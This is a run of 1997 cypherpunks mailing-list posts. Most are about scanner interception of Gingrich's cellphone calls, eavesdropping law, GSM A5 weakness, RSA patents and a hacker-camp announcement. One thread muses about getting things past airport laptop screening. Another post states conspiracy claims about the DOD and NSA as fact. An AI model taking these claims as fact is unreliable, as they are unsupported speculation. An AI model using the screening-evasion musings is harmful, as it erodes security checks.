> FL.  The couple said that they just happened to be driving by when they
> overheard and began taping the conversation.

Interesting.  In California, operating a scanner while driving is illegal.
Of course it was probably the passenger running the scanner.

I've always wanted to scan cell-phone callers while driving next to them
on 101.  Even in Silicon Valley it'd be pretty wierd to have a sinister
looking guy in the car next to you pointing a black box with an antenna
at you...

> I have a problem with making it illegal to listen to parts of the
> electromagnetic spectrum.  Seems sort of unnatural.

I think that blowing your mouth off about what you've heard
by scanning cellular traffic is what's illegal.  Or more illegal
than merely listening anyhow.

>  Maybe they will decide
> that people who can see the color green will go to jail next ;-)
> Technological solutions are much more elegant.  Of course, they are not
> nearly as sexy as legal remedies (I can't wait to see if the congressman who
> gave it to the Times is indicted!)

Given that they've just pissed on some seriously powerful people I'd
expect that the fools who made the tape and gave it to the Democratic
congresscritter and then HAD A NEWS CONFERENCE about it are going to
be in some deep shit.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 14 Jan 1997 19:27:44 -0800 (PST)
To: Brad Dolan <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
Message-ID: <199701150327.TAA04637@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:56 PM 1/14/97 -0500, Brad Dolan wrote:
>Mmmm.  I'm told that, on most cellphone calls, a scanner will present both
>sides of the conversation on the same frequency.  Usually one side will be
>louder.  Perhaps there's some feedback from a party's receiver back into
>his transmitter?

It's called duplex echo.  Whenever you convert 2-wire audio to 4-wire (two 
pair) you're going to get a reflection.  The cell-phone company can't 
perfectly match the impedances connecting to the local  phonecos, and so a 
little signal gets reflected.  Actually, this is desireable locally because 
it acts as feedback to the speaker, as long as the reflection is kept within 
reason.   The result is that both sides of the communication are hearable in 
the radio signals.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Maurice Wessling" <info@hip97.nl>
Date: Tue, 14 Jan 1997 10:19:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: [HIP] Hacking In Progress 1997
Message-ID: <199701141819.TAA18108@magigimmix.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


Announcing HIP'97:  A hacker convention and festival in the 
Netherlands on the 8th, 9th and 10th of August 1997.


Version: 8 January 1997

Latest news at http://www.hip97.nl/


What is HIP?
------------

HIP is an acronym for `Hacking In Progress'. It will take place on 
the Friday 8th, Saturday 9th and Sunday 10th of August 1997 at 
campsite Kotterbos, Aakweg, Almere in The Netherlands.

Remember `Hacking at the End of the Universe' (HEU) in 1993? 
The people that published Hack-Tic, a computer underground 
magazine in The Netherlands, organized it. Hundreds of 
hackers, phone phreaks, programmers, computer haters, data 
travellers, electro-wizards, networkers, hardwarefreaks, techno-
anarchists, communications junkies, cyber- and cypherpunks, 
system managers, stupid users, paranoid androids, Unix gurus, 
whizz kids and warez dudes spent three days building their own 
network between their tents in the middle of nowhere, located 
in the Flevopolder in The Netherlands.

HIP will be the sequel to HEU. A campsite full of PCs, laptops, 
and Unix machines, all connected via an intertent Ethernet that 
is connected to the Internet. People from all over the 
Netherlands and other countries will come together to learn and 
discuss the benefits, as well as the risks of new technologies. 
They'll listen to lectures, join workshops, enjoy special 
presentations and, last but not least, party, all of this in a 
friendly open-air environment of a very wired campsite far away 
from the civilized world.

HIP will happen on the same days as `Beyond Hope', a hacker 
convention in New York, organized by the people of 2600 
Magazine (http://www.2600.com/). There will be audio and 
video links between both events, and we're working on cool 
gadgets to further enhance your sense of `grassroots 
telepresence'. This will be a twin-event in the true sense of the 
word.

Who is organizing HIP?
----------------------

Once there was a little magazine in The Netherlands called 
`Hack-Tic', and it published wild ways to play tricks on the 
information infrastructure of the world. The magazine doesn't 
exist anymore, but most of the people that wrote articles for the 
magazine or helped organize Hacking at the End of the Universe 
(1993) and even some of the people that helped put up the 
Galactic Hacker Party (1989) are still in touch with each other. 
The every-four-year-itch has gotten to us again...

It's going to be quite a project to organize something that is 
better than HEU, but we're not facing it alone. We'll get lots of 
people to help us.
The hackers that were present at HEU have successfully 
infiltrated in key positions to aid in the upcoming political 
takeover as was agreed. Many have the agreed-upon provisions 
in their job contracts since 1993, stating they would need time 
off for the final strategic meeting.

HIPcamp and HIPnet
------------------

There'll be no hotel rooms or anything like that so you'll want to 
bring at least a tent and a sleeping bag to HIP, even if this 
means you can't bring the paper-tape unit that came with your 
VAX 11/780. We'll supply a campground, toilets, showers, good 
food and electrical power (as close to 220V/50Hz as possible) 
and we'll do our best to supply everyone who wants it with an 
Ethernet connection. You will probably be able to trade wiring, 
extra outlets, Ethernet cards, and the use of modular crimping 
tools for almost anything.
HIPcamp will open on August 5th, three days before HIP starts. 
If you decide to join in that early expect pretty primitive 
circumstances. If you don't care about that, or think that's the 
best part, you can help build HIPnet and all other facilities.

HIP stuff
---------

A lot can and will happen in the coming months, and we'll keep 
adding new topics even during the event itself. But we're 
definitely going to discuss the legal situation regarding 
encryption, as well as the latest technical developments in this 
field. The current decay of the Usenet, copyright issues, 
censorship as well as many other legislative, social political and 
technical issues surrounding Internet will be discussed. 
Computer security, or the lack thereof will also be a hot topic. 
We'll have research workshops (i.e. GSM and chipcard security) 
and you can also join many `how-to' workshops and lectures 
where you can pick up on Linux (Unix you can run at home, not 
built by Microsoft), perl (a very powerful computer language) 
and many, many other topics.

Tired of all these lectures and workshops: just sit down, smoke or 
drink socially accepted substances, interact with other humans, 
volunteer for kitchen work and have a good time. We've had 
people at the previous event that were not into computers at all, 
and they had fun.

We'd like to receive as many ideas from you as possible at this 
stage. So if you (and some of your friends) want to organize a 
lecture or workshop, please let us know. If you keep having this 
wacky dream about some project or construction that would work 
really well in an environment with lots of other freaks, this is your 
call to action. We dream of an event with thousands of creators 
and no audience.

No audience?
------------

We'll try to offer different ways for the Internet population to 
truly interact with the events at HIP. Please get in touch if you'll 
have some friends at your house and you want to have CU-
SeeMe or other connections to us. We'll also be broadcasting 
live and buffered feeds of audio and video on the net. Mass-
media coverage will be provided for the interactively challenged.

I want to be HIP too!
---------------------

Don't worry: you can be! Just visit our web site at 
http://www.hip97.nl/ and use the form to subscribe to the 
announcement mailing list. It's spam-free and will only carry 
HIP announcements written by us. You can also participate in 
the ongoing, yet slightly messy debate in the newsgroup 
alt.hacking.in.progress. If you can't find the newsgroup don't 
contact us. Refresh the grouplist in your newsreader or ask your 
access provider to check their newsfeed.

As time slides by we'll have separate mailing lists for the 
preparation of research workshops, pictures and maps of the 
campsite and more detailed descriptions of workshops and 
lectures. If you think we're forgetting anything, please let us 
know.

If you don't have access to the web you can subscribe to the 
announcement mailing list by sending an email message to

    majordomo@hip97.nl

with the line

    subscribe hip-announce your_email_address

in the body of the message.

Announcements will also be posted in alt.hacking.in.progress.

How to get to HIP
-----------------

HIP will happen at campsite `Kotterbos', Aakweg, close to a city 
called Almere in the Netherlands. The campsite is at about a 30-
minute drive from Amsterdam, along highway A6 to Lelystad. 
The nearest train station, Almere-Buiten, is four kilometers 
away. More information and maps will be on the website when 
the time comes.

Press
-----

All press is welcome to visit HIP, but there will be a few strict 
rules. All members of the press will pay the entrance fee, no 
discussion about this. There will be a part of the campsite that 
is off-limits to all press. No filming, photographing or recording 
is to take place there. Some people like to have a press-free 
moment, some have employment-related reason for shunning 
media attention.

What else?
----------

Many more things could be said but it is still a bit early. The 
main networking tent and the bar will be open 24 hours a day 
and we'll have a depository to stash your laptops, backpacks 
and other valuables. We haven't figures out the exact entrance 
fee, but, just like HEU, HIP is going to be a non-profit event. 
And if you haven't guessed it yet: All workshops and plenary 
events will take place in English.

How to get in contact with us
-----------------------------

Most of your questions can be answered by visiting our website 
at http://www.hip97.nl/

Subscribe yourself to the mailing list and read 
alt.hacking.in.progress. If you have ideas or proposals mail 
them to info@hip97.nl or snailmail us:

Hacking In Progress
Postbus 1035
1000 BA  Amsterdam
The Netherlands

Fax: +31 (0)20-5352082

What to do with this announcement
---------------------------------

Please forward it to your friends or post it to appropriate mailing 
lists. Be sure to get the next version by subscribing to our 
mailing list.


See you at HIP!


EOF



--
Hacking In Progress 1997
http://www.hip97.nl/
info@hip97.nl




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 23:39:11 -0800 (PST)
To: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970114191444.00645c38@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:58 PM 1/14/97 -0600, Michael Tighe SUN IMP wrote:
>Bill Stewart writes:
>>Tapping cellphones is more trouble than tapping wired phones -
>>they move around, and to tap them from the phone company end
>>requires taps everywhere that you activate when you know where
>>somebody is.
>Exactly. So how come mom&pop with a scanner were able to record BOTH sides
>of the conversation without interruption? 

Tapping the wire part is what's hard; the radio part (for analog
cell phones) isn't that tough.  That makes the "legitimate needs
of law enforcement" (blech!) at some disadvantage compared to
people who just want to have fun listening in on the radio.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 23:41:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970114192154.006327e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:58 PM 1/14/97 -0800, Eric Blossom wrote, correctly:
>> Eavesdropping on cellphones is illegal, since there's an expectation of
>> privacy.
>Ummm,  Eavesdropping on cellphones is illegal, because it's illegal.
>See the Electronic Communication Privacy Act (ECPA).  Since when does
>anybody talking on a *radio* have an expectation of privacy?

OK, more precisely, the justification for cellphone eavesdropping
being illegal and cordless phone eavesdropping not being illegal
was that there's an expectation of privacy from cellphones
("they're from the Phone Company") but not from cordless (everybody
with early cordless phones knew they could receive their neighbor's
calls if they used the same channel.)

>Listening in on normal cordless phones is also now illegal, as a
>result of the Communication Assistance to Law Enforcement Act 
>(Digital Telephony).
Good point.

The latest word from Louis Freeh is that he's all gung-ho to 
investigate the CRIMINAL grandma&grandpa who were EAVESDROPPING
on Newt's phone calls.  Of course, if _he'd_ been eavesdropping
on Newt's phone calls, or yours, it would have been the "legitimate
needs of law enforcement" at work.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 15 Jan 1997 00:00:43 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.1.32.19970114194213.006468c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:23 PM 1/14/97 -0800, Lucky Green wrote:
>As most readers probably know, laptops are often subject to manual
>scrutiny. From my non-representative sample, about four out of five tote
>bags clearly containing laptops will be manually searched. 

It's extremely airport, guard, and moon-phase dependent.
Some places are real picky, some aren't.  I've started following
someone's advice about having the laptop go through vertically;
it doesn't look like a big opaque block to them, and they can see
the rest of the stuff.  When I tried it in Orlando, they said
"It has to go through lying down", ran it back through lying down,
said "Computer", I said "Yup", and they handed it to me :-)

>Typically, the attendant requires that the laptop is powered up. 
>In none of the 20+ manual searches I witnessed did the security personnel 
>wait past the RAM check before clearing the passenger.  I could not help 
>but contemplate how much of the insides of the laptop could be replaced 
>while still obtaining an identical display.

I've convinced a number of guards to be satisfied by the little
LCD-battery-status display that shows it's on and charged (and asleep) 
without having to actually boot it up (which now that I'm running NT,
which doesn't really understand power-management, is a big win...)
The two batteries could be replaced with <illegal joke deleted> and the 
little 5-minute keepalive battery could run that display just fine.
It wouldn't take much more to get the main LCD screen to look convincing.
On the other hand, there are places that have Real Security Guards;
I have a photo of the ceiling of an Israeli bus station where I had
to demonstrate that my camera really was camera-like.

>Then came the big one: A man wearing a beer truck driver uniform approached
>the checkpoint. On his hand truck were two kegs of beer. 

....
>I was flabbergasted. They let a man with two *large steel containers* enter
>unchecked? No asking for ID, no X-ray? I struck up a conversation with the
>beer truck driver. I asked him why the kegs did not get X-rayed. He looked
>at me with an expression of utter lack of understanding and answered: "They
>are too heavy to be put on the [conveyor] belt."

Yow!  (And also - it's nice that people can occasionally do sensible
things even if they're against regulations :-)  But you would expect them
to have a guard escort the guy to the bar (requiring someone to come back
later and take the beer out of the false bottom of the keg.

You can already get away with being almost anywhere by being dressed as a 
pizza deliverer or air-conditioner mechanic or clipboard-carrier; 
I guess beer-deliverer needs to be added to the list.  As long as you act
like you belong somewhere....

A more serious example of getting away with things by looking like you're
doing something your supposed to be doing was the man who walked out
of Nazi Germany carrying a ladder (as told to me by someone else
who'd left Germany.)  Nobody thought to question him, and it was an era
that a laborer not having a truck was normal...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 14 Jan 1997 20:28:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701150427.UAA12861@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM 1/14/97 -0800, Bill Stewart wrote:
>>>I just caught the news reports of Newt Gingrich's cell phone calls being
>>>taped by "a little old retired couple" with a scanner.  These were then
>>>given to a congressman, who gave them to a newspaper.
>
>Eavesdropping on cellphones is illegal, since there's an expectation of
>privacy.

I disagree.  Not that cellphone eavesdropping is illegal, it is; I disagree 
that the REASON it is illegal is some sort of expectation of privacy.  

And I also disagree that there is any expectation of privacy.  If anything, 
the opposite should be true:  Unless a person was (falsely) under the 
impression that the radio signals were encrypted (which, in itself, requires 
that a person be technologically-literate enough to be aware of the 
technical possibility that radio CAN BE encrypted, but also implies knowing that 
they might not be...) then the very fact that the signals go by radio would 
imply the possibility of reception by others with reasonably simple radios.  







Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 14 Jan 1997 20:28:20 -0800 (PST)
To: Greg Broiles <iang@cs.berkeley.edu (Ian Goldberg)
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701150427.UAA12865@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 PM 1/13/97 -0800, Greg Broiles wrote:

> Presumably the RC5 patent (if one is awarded) won't suffer from
>the peculiarities of the international patent schemes which made RSA only
>patentable in the US.


"Pecularities"?  If anything, the peculiarities would have been within _US_ 
law, and not international law. 

As I understand it, most people cite the requirement that an invention 
patent must be applied-for BEFORE disclosure as a requirement for most 
international patents, which explained by RSA wasn't patented outside of the 
US.  Alone, that would have denied non-US patents to RSA.   However, such an 
explanation grandly ignores the fact that computer software (let alone 
mathematics in general) was not considered patentable ANYWHERE (?) before 
public-key systems made their appearance in 1976.

It also ignores the strong likelihood that the reason for the Patent-Office 
policy change (done, apparently, without benefit of a corresponding law 
change) was because with public-key/RSA there was finally an example of 
software the government wished to deny to the average citizen, and the only 
mechanism (short of secrecy, which was broken) to do so was to patent it.  

I'm still waiting for an "innocent" explanation for the US patent office 
beginning to issue software patents.  I don't think there is one.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 17 Jan 1997 13:12:02 -0800 (PST)
To: gtaylor@gil.com.au
Subject: Re: Newt's phone calls
In-Reply-To: <199701162147.HAA12921@iccu6.ipswich.gil.com.au>
Message-ID: <199701142026.UAA00127@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Greg Taylor <gtaylor@gil.com.au> writes:
> After following this thread for some time, I have to question whether
> Americans realise how far behind the rest of the world they are in
> cellphone technology.
> 
> Most of the world has been using GSM digital technology for some years
> now, with automatic international roaming, unless you travel to the USA.

> No one in their right mind uses an analogue mobile phone any more if they 
> are concerned about eavesdropping.  The Newt incident simply could not 
> happen with GSM.
> 
> Of course in most countries the government controls the federal police, 
> not the other way round.  

Using GSM would add protection against casual eavesdroppers, but would
not provide that high a degree of protection.

GSM encrypts only the links to the station - the traffic goes in the
clear through the station.  Plus A5 (crypto algorithm used in GSM) is
weak, 40 bits of effective key space.

It could be worse to have poor crypto, than no crypto,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Majordomo@asterix.xs4all.nl
Date: Tue, 14 Jan 1997 11:31:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Welcome to hip-announce
Message-ID: <199701141930.UAA20521@asterix.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


--

Welcome to the hip-announce mailing list!

If you ever want to remove yourself from this mailing list,
you can send mail to "Majordomo@asterix.xs4all.nl" with the following command
in the body of your email message:

    unsubscribe hip-announce cypherpunks@toad.com

Here's the general information for the list you've
subscribed to, in case you don't already have it:

[Last updated on: Fri Dec 13 20:30:42 1996]

Welcome to HIP announce!

This mailinglist will only be used for regular announcements about major
developments in the preparation for Hacking In Progress 1997. Only the
list-owner will post to this list and it will be guaranteed low-volume.

Up-to-date information about the HIP can be found at our website
http://www.hip97.nl

Please report any problems to info@hip97.nl

See you at the HIP!

Maurice Wessling





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 18:44:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Exporting Virus Software
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <32DC60FE.5B14@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:

> What's really going on here is that the NSA wants to know exactly
> what's out there in terms of virus protection and security software,
> so that if they need to release a virus or something they know exactly
> how to work around the defenses people are using.  You're not going to
> too many export applications denied for this kind of stuff.  It's more
> just a way for them to know exactly what's going on in that realm.

  Regulation for the purpose of knowing 'everything'.
  The original purpose of the InterNet was for the DOD to be able to 
eavesdrop on and monitor the movement and communications of scientists,
educators, and other hi-level movers and shakers in the world of the
intellect.
  When some of those using the InterNet refused to place their 'trust'
in the DOD's benevolence in making this technology available, choosing
to use it only for low-level communications, the DOD began exhorting
the wonders of 'data encryption', as a way to ensure InterNet users
of the privacy and security of their hi-level communications.
  With 'encryption', even the 'doubters' felt secure in the knowledge
that they could now communicate anything, at any level, and know that
their communications were 'safe' from unwanted disclosure.

  Then came a 'fly in the ointment'.
  A little shit-hole punk, non-DOD-non-NSA-schill named Phil Zimmerman
came out with an encrytpion program that the DOD did 'not' already have
the capability to read--one that they could 'not' break.
  All of a sudden, export of cryptography became a grand issue.  Why?
  ?Encryption software was already existent outside of the U.S.
  ?Encryption software was already being exported from the U.S.
  ?Encryption software was already available to all of those labeled
    by the U.S. government as 'enemies' who should be 'denied' use
    of this software.
  So why was Phil Zimmerman's 'backyard' encrytion program such a
threat to the powers-that-be?  Because they didn't already have the 
key to read it, and they couldn't break it--it wasn't an Enigma.
  It was the Inaugural Enigma.

  And export regulations for Virus protection programs?
  What reason can 'you' think of for the U.S. government not wanting
others to have 'full' protection from computer virus'?
  'Whose' virus is the U.S. goverment concerned about others having
protection from?

  Now that Phil Zimmerman has his legal problems 'sorted out', I
hope that he doesn't decide to write a virus protection program.
  It might 'work'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 14 Jan 1997 18:08:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701150150.UAA15413@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy `C' May is so full of shit that some of it bursts out on 
this mailing list.

           /\        /\
          +  \______/  +
             / .  . \
            <   /    >
             \ \--/ /
              ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 14 Jan 1997 17:46:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
In-Reply-To: <853262592.523172.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970114204550.1313B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997 paul@fatmans.demon.co.uk wrote:

> Am I to presume that we will be putting something in the "welcome to 
> cypherpunks" message people get when they join to tell them how to 
> subscribe to the uncensored list?

- From the "welcome message":

I. Administrivia (please read, boring though it may be)

The cypherpunks list is one of three lists discussing
cryptography, privacy, and social issues relating to them.  The three
lists are:

	cypherpunks		moderated to suppress spam and flames
	cypherpunks-unedited	all submissions, just as they arrived
	cypherpunks-flames	the submissions that didn't pass moderation

All of these lists are high-volume mailing lists.  

> or are we going to have  
> yet more censorship on this list which is rapidly degenerating 
> into a playground of illuminati and elite censors???

This list is rapidly degenerating into something, but it's not "a playground of
illuminati and elite censors".


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtw32CzIPc7jvyFpAQFU0wf9H77cGP3nfVfogGqy3r+PHxOVVmpivLbK
0d8b/5ay7H6KGpvivXdV+YwqVLu75hLm59H7zPZBb0387R8T/cISg3AznP5F1upP
IJDA36ebKWIIHOcLMOkwAIkQq8yI/xWCtvp4DInoC2VL4HbzFcjQbLaO6+up3KDK
mNLslx6vWFtNGzGbxvOrMvyfm/2UJseYLnvkm0YOWmpdLqJiakEh1FED2UbWhHig
KpJq1XLyjaT7ahEscN2oo6iWglOWikXRatFHGipqCgpNLqjA8uSaHifvO/dtAP09
Xy1z+hax0lnEiid0izqaCFpcr1jhEB89Ylk/iYgBAeZB+3UzvZVXow==
=kJwv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 17 Jan 1997 13:12:02 -0800 (PST)
To: asgaard@Cor.sos.sll.se
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.HPP.3.91.970116094730.28526B-100000@cor.sos.sll.se>
Message-ID: <199701142051.UAA00139@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Asgaard <asgaard@cor.sos.sll.se> writes:
> On Sun, 12 Jan 1997, Adam Back wrote:
> 
> >[...]  Anyone know how modular the design is, for instance if
> >it would be possible to give a GSM A5 based cell phone a crypto upgrade
> >using published electrical interface standards?  (I want one of those -
> >Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)
> 
> I don't understand what you are getting at here.
> This would demand cooperation from the cell phone provider,
> with a compatible device at the other end of the airwaves.

If you super-encrypted the IDEA encrypted traffic with A5, it should
not require cooperation of the cell phone provider.  You always need a
capable device at the other end.  If the phone at the other end isn't
IDEA/RSA/DH capable, you can fall back to only A5.

My question about electrical interfaces was wondering if the above
could be acheived by producing a plugable mini-smartcard, or
desolderable IC which would allow this to be done with standard GSM
phones.

> Then the call would go unencrypted through much of the
> system until it reached the callee's current cell sender
> anyway. GSM is alledgedly A5 encrypted only in the air.
> 
> And if A5 is a 'decent' algorithm or not is up to discussion.
> It hasn't been up on the list for a long time now but from
> earlier discussions I remember that the latest versions of
> A5, if not 'strong' in a crypto anarchy sense, are susceptible
> to attack only from very sophisticated adversaries and certainly
> not from Newt's 'couple'.

Not from Newt's eavesdroppers sure, but it wouldn't cost that much for
someone who wanted the traffic.  40 bits of effective key space at
most,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Tue, 14 Jan 1997 18:59:27 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970114205641.457A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Clay Olbon II wrote:

> The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"

A woman on the radio ABC news this morning said,
"Congressman...BONER?...Bahner is reportidly..." My guess is that someone
spelt it incorrectly on her sheet. ;)

> I have a problem with making it illegal to listen to parts of the
> electromagnetic spectrum.  Seems sort of unnatural.  Maybe they will decide
> that people who can see the color green will go to jail next ;-)
> Technological solutions are much more elegant.  Of course, they are not
> nearly as sexy as legal remedies (I can't wait to see if the congressman who
> gave it to the Times is indicted!)

Seems like a good issue to site when trying to push remailers, eh? :)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 14 Jan 1997 21:36:18 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <3.0.32.19970114213642.006f62bc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 02:48 PM 1/14/97 -0800, Alan Bostick wrote:
>(Someone mentioned that they thought cordless phone intercepts weren't 
>illegal the way cellular phone intercepts are.  IANAL, but I recall that
>intercepting both was made illegal by the same legislation.)

It is illegal to intercept cell phone calls. It is legal under federal law
to intercept cordless phones.

IANAL,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jovi@telnor.net
Date: Tue, 14 Jan 1997 21:49:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701150547.VAA06996@telnor.net>
MIME-Version: 1.0
Content-Type: text/plain


I can not undestand why are you using my e mail adress to recibe your mail.

>From what i see you are a hacker, and you are using some body space to work with 
no charge.

Please avoid the use of my space.

thnks.
Lic. Jose Luis Vital V.
Telefonos del Noroeste,S.A. de C.V.
Ave. Pio Pico 2001, Zona Centro,
Tijuana,B.C., México.
Tel.: (66) 33.22.91
Fax.: (66) 33.22.44
Internet E-mail: jovi@telnor.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 14 Jan 1997 20:05:43 -0800 (PST)
To: dcsb-dist <rah@shipwright.com>
Subject: DCSB: The Internet Consumer -- 1996 in Review & Predictions for1997
Message-ID: <v03007801af01f45e92d3@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents
				        David Kaufman
	                         FIND/SVP
                 Emerging Technologies Research Group

  "The Internet Consumer -- 1996 in Review & Predictions for 1997"



                        Tuesday, February 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


David is Managing Director of FIND/SVP's Emerging Technologies Research
Group with specific responsibility for "The Internet Consumer - Continuous
Market Advisory Service".

The group provides numerous Fortune 500 companies with detailed research and
analysis on behaviors and preferences of Internet consumers.

Mr. Kaufman will discuss the Internet as a consumer platform.   The growth
of the Internet has been getting a lot of press, most of it based
on speculation, not research.   Although good data is hard to find, it
does exist and can be used to approach the Interactive consumer.

During 1996 it became true that Internet consumers, who paid for
their own access, were one of the fastest growing market segments.
Currently, home and small business users are driving the demand for
interactive services such as online banking and financial planning.
Users also expressed an interest in locating information on such
diverse topics as travel, entertainment, parenting, and health.

Starting in 1997 consumers will be able to access the net from more
numerous locations and in different ways.  Internet appliances such as
WebTV will allow non-technology users to access the net.  As critical mass
develops, the net will become impossible to ignore for most marketers.
Based on research and some industry insight, Mr. Kaufman will present
FIND/SVP's predictions for the Internet Consumer in 1997 and beyond.

Prior to joining FIND/SVP's Emerging Technologies Research Group, David
was with BIS Strategic Decisions (now GIGA Information Group) at the time
it was a division of NYNEX Corporation. He has been employed by Metaphor
Computer Systems and XEROX Corporation in the marketing of the first
technology products from the Palo Alto Research Center.  David is a
Graduate of the University of Wisconsin.



This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, February 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
